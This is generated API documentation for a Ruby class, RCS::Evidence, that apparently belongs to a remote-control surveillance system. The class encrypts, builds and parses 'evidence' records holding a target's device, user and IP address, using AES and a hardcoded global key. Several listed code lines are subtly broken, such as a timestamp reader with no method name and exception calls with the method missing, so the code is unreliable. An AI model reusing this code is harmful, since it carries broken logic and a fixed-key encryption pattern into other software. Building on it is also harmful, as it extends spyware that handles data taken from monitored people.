Class: RCS::Evidence
- Inherits:
-
Object
- Object
- RCS::Evidence
- Extended by:
- Crypt
- Defined in:
- lib/rcs-common/evidence.rb
Constant Summary collapse
- GLOBAL_KEY =
"\xab\x12\xcd\x34\xef\x56\x01\x23\x45\x67\x89\xab\xcd\xef\x00\x11"
Constants included from Crypt
Crypt::PAD_NOPAD, Crypt::PAD_PKCS5, Crypt::SHA1_DIGEST_LENGTH
Constants included from Tracer
Instance Attribute Summary collapse
-
#binary ⇒ Object
readonly
Returns the value of attribute binary.
-
#content ⇒ Object
readonly
Returns the value of attribute content.
-
#info ⇒ Object
Returns the value of attribute info.
-
#name ⇒ Object
readonly
Returns the value of attribute name.
-
#size ⇒ Object
readonly
Returns the value of attribute size.
-
#timestamp ⇒ Object
readonly
Returns the value of attribute timestamp.
-
#type ⇒ Object
readonly
Returns the value of attribute type.
-
#version ⇒ Object
readonly
Returns the value of attribute version.
Class Method Summary collapse
Instance Method Summary collapse
- #align_to_block_len(len) ⇒ Object
- #append_data(data, len = data.bytesize) ⇒ Object
- #decrypt(data) ⇒ Object
- #deserialize(data) {|additional_data| ... } ⇒ Object
-
#dump_to_file(dir) ⇒ Object
save the file in the specified dir.
- #empty?(binary_string, header_length) ⇒ Boolean
- #encrypt(data) ⇒ Object
- #extend_on_type(type) ⇒ Object
- #extend_on_typeid(id) ⇒ Object
-
#generate(type, common_info) ⇒ Object
factory to create a random evidence.
- #generate_header(type_id, info) ⇒ Object
-
#initialize(key) ⇒ Evidence
constructor
def clone return Evidence.new(@key, @info) end.
-
#load_from_file(file) ⇒ Object
load an evidence from a file.
- #read_uint32(data) ⇒ Object
Methods included from Crypt
aes_decrypt, aes_decrypt_integrity, aes_encrypt, aes_encrypt_integrity
Methods included from Tracer
#thread_name, #trace, #trace_ensure_log_folders, #trace_init, #trace_named_put, #trace_named_remove, #trace_nested_pop, #trace_nested_push, #trace_setup
Constructor Details
#initialize(key) ⇒ Evidence
51 52 53 54 |
# File 'lib/rcs-common/evidence.rb', line 51 def initialize(key) @key = key @version = Evidence.version_id end |
Instance Attribute Details
#binary ⇒ Object (readonly)
Returns the value of attribute binary.
31 32 33 |
# File 'lib/rcs-common/evidence.rb', line 31 def binary @binary end |
#content ⇒ Object (readonly)
Returns the value of attribute content.
33 34 35 |
# File 'lib/rcs-common/evidence.rb', line 33 def content @content end |
#info ⇒ Object
Returns the value of attribute info.
36 37 38 |
# File 'lib/rcs-common/evidence.rb', line 36 def info @info end |
#name ⇒ Object (readonly)
Returns the value of attribute name.
34 35 36 |
# File 'lib/rcs-common/evidence.rb', line 34 def name @name end |
#size ⇒ Object (readonly)
Returns the value of attribute size.
32 33 34 |
# File 'lib/rcs-common/evidence.rb', line 32 def size @size end |
#timestamp ⇒ Object (readonly)
Returns the value of attribute timestamp.
35 36 37 |
# File 'lib/rcs-common/evidence.rb', line 35 def @timestamp end |
#type ⇒ Object (readonly)
Returns the value of attribute type.
38 39 40 |
# File 'lib/rcs-common/evidence.rb', line 38 def type @type end |
#version ⇒ Object (readonly)
Returns the value of attribute version.
37 38 39 |
# File 'lib/rcs-common/evidence.rb', line 37 def version @version end |
Class Method Details
.version_id ⇒ Object
43 44 45 |
# File 'lib/rcs-common/evidence.rb', line 43 def self.version_id 2008121901 end |
Instance Method Details
#align_to_block_len(len) ⇒ Object
89 90 91 92 93 |
# File 'lib/rcs-common/evidence.rb', line 89 def align_to_block_len(len) rest = len % 16 len += (16 - rest % 16) unless rest == 0 len end |
#append_data(data, len = data.bytesize) ⇒ Object
105 106 107 |
# File 'lib/rcs-common/evidence.rb', line 105 def append_data(data, len = data.bytesize) [len].pack("I") + data end |
#decrypt(data) ⇒ Object
101 102 103 |
# File 'lib/rcs-common/evidence.rb', line 101 def decrypt(data) return aes_decrypt(data, @key, PAD_NOPAD) end |
#deserialize(data) {|additional_data| ... } ⇒ Object
167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 |
# File 'lib/rcs-common/evidence.rb', line 167 def deserialize(data) raise EvidenceDeserializeError.new("no content!") if data.nil? binary_string = StringIO.new data # header header_length = read_uint32(binary_string) # check if we need to apply the global key (evidence is being imported) if (header_length & 0x80000000) == 0x80000000 trace :debug, "USING GLOBAL KEY FOR EVIDENCE DECODING!" @key = GLOBAL_KEY header_length &= ~0x80000000 end # if empty evidence, raise raise EmptyEvidenceError.new("empty evidence") if empty?(binary_string, header_length) # decrypt header header_string = StringIO.new decrypt(binary_string.read header_length) @version = read_uint32(header_string) @type_id = read_uint32(header_string) time_h = read_uint32(header_string) time_l = read_uint32(header_string) host_size = read_uint32(header_string) user_size = read_uint32(header_string) ip_size = read_uint32(header_string) additional_size = read_uint32(header_string) # check that version is correct raise EvidenceDeserializeError.new("mismatching version [expected #{Evidence.version_id}, found #{@version}]") unless @version == Evidence.version_id common_info = Hash.new common_info[:dr] = Time.new.getgm common_info[:da] = Time.from_filetime(time_h, time_l).getgm common_info[:device] = header_string.read(host_size).utf16le_to_utf8 unless host_size == 0 common_info[:device] ||= '' common_info[:user] = header_string.read(user_size).utf16le_to_utf8 unless user_size == 0 common_info[:user] ||= '' common_info[:source] = header_string.read(ip_size).utf16le_to_utf8 unless ip_size == 0 common_info[:source] ||= '' # extend class depending on evidence type begin common_info[:type] = EVIDENCE_TYPES[ @type_id ].to_s.downcase extend_on_type common_info[:type] rescue Exception => e puts e. raise EvidenceDeserializeError.new("unknown type => #{@type_id.to_s(16)}, #{e.}") end additional_data = header_string.read additional_size if additional_size > 0 yield additional_data if block_given? # split content to chunks chunks = Array.new if common_info[:type] == 'command' chunks << [binary_string.read] else until binary_string.eof? len = read_uint32(binary_string) content = binary_string.read align_to_block_len(len) decoded_chunk = nil begin decoded_chunk = StringIO.new(decrypt(content)).read(len) rescue Exception => ex yield(chunks.join) if block_given? raise EvidenceDeserializeError.new("Unable to decrypt chunck #{chunks.size}. Expected length is #{len}, content bytesize is #{content.bytesize}. #{ex.}") end chunks << decoded_chunk end end yield chunks.join if block_given? # decode additional header if respond_to? :decode_additional_header and additional_size != 0 additional_info = decode_additional_header(additional_data) common_info.merge!(additional_info) end # decode evidence body evidences = Array.new action = decode_content(common_info, chunks) {|ev| evidences << ev} return evidences, action end |
#dump_to_file(dir) ⇒ Object
save the file in the specified dir
141 142 143 144 145 146 |
# File 'lib/rcs-common/evidence.rb', line 141 def dump_to_file(dir) # dump the file (using the @name) in the 'dir' File.open(dir + '/' + @name, "wb") do |f| f.write(@binary) end end |
#empty?(binary_string, header_length) ⇒ Boolean
163 164 165 |
# File 'lib/rcs-common/evidence.rb', line 163 def empty?(binary_string, header_length) (binary_string.size == header_length + 4) end |
#encrypt(data) ⇒ Object
95 96 97 98 99 |
# File 'lib/rcs-common/evidence.rb', line 95 def encrypt(data) rest = align_to_block_len(data.bytesize) - data.bytesize data += "a" * rest return aes_encrypt(data, @key, PAD_NOPAD) end |
#extend_on_type(type) ⇒ Object
56 57 58 |
# File 'lib/rcs-common/evidence.rb', line 56 def extend_on_type(type) extend instance_eval "#{type.to_s.capitalize}Evidence" end |
#extend_on_typeid(id) ⇒ Object
60 61 62 |
# File 'lib/rcs-common/evidence.rb', line 60 def extend_on_typeid(id) extend_on_type EVIDENCE_TYPES[id] end |
#generate(type, common_info) ⇒ Object
factory to create a random evidence
110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
# File 'lib/rcs-common/evidence.rb', line 110 def generate(type, common_info) @name = SecureRandom.hex(16) info = Hash[common_info] info[:da] = Time.now.utc info[:type] = type # extend class on requested type extend_on_type info[:type] # header type_id = EVIDENCE_TYPES.invert[type] header = generate_header(type_id, info) @binary = append_data(encrypt(header)) # content if respond_to? :generate_content content = info.delete(:content) chunks = content ? generate_content(content) : generate_content chunks.each do | c | @binary += append_data( encrypt(c), c.bytesize ) end end return self end |
#generate_header(type_id, info) ⇒ Object
64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
# File 'lib/rcs-common/evidence.rb', line 64 def generate_header(type_id, info) tlow, thigh = info[:da].to_filetime deviceid_utf16 = info[:device_id].to_utf16le_binary userid_utf16 = info[:user_id].to_utf16le_binary sourceid_utf16 = info[:source_id].to_utf16le_binary add_header = '' if respond_to?(:additional_header) header = info.delete(:header) add_header = header ? additional_header(header) : additional_header end additional_size = add_header.bytesize struct = [Evidence.version_id, type_id, thigh, tlow, deviceid_utf16.bytesize, userid_utf16.bytesize, sourceid_utf16.bytesize, additional_size] header = struct.pack("I*") header += deviceid_utf16 header += userid_utf16 header += sourceid_utf16 header += add_header.to_binary return header end |
#load_from_file(file) ⇒ Object
load an evidence from a file
149 150 151 152 153 154 155 156 157 |
# File 'lib/rcs-common/evidence.rb', line 149 def load_from_file(file) # load the content of the file in @content File.open(file, "rb") do |f| @binary = f.read @name = File.basename f end return self end |
#read_uint32(data) ⇒ Object
159 160 161 |
# File 'lib/rcs-common/evidence.rb', line 159 def read_uint32(data) data.read(4).unpack("L").shift end |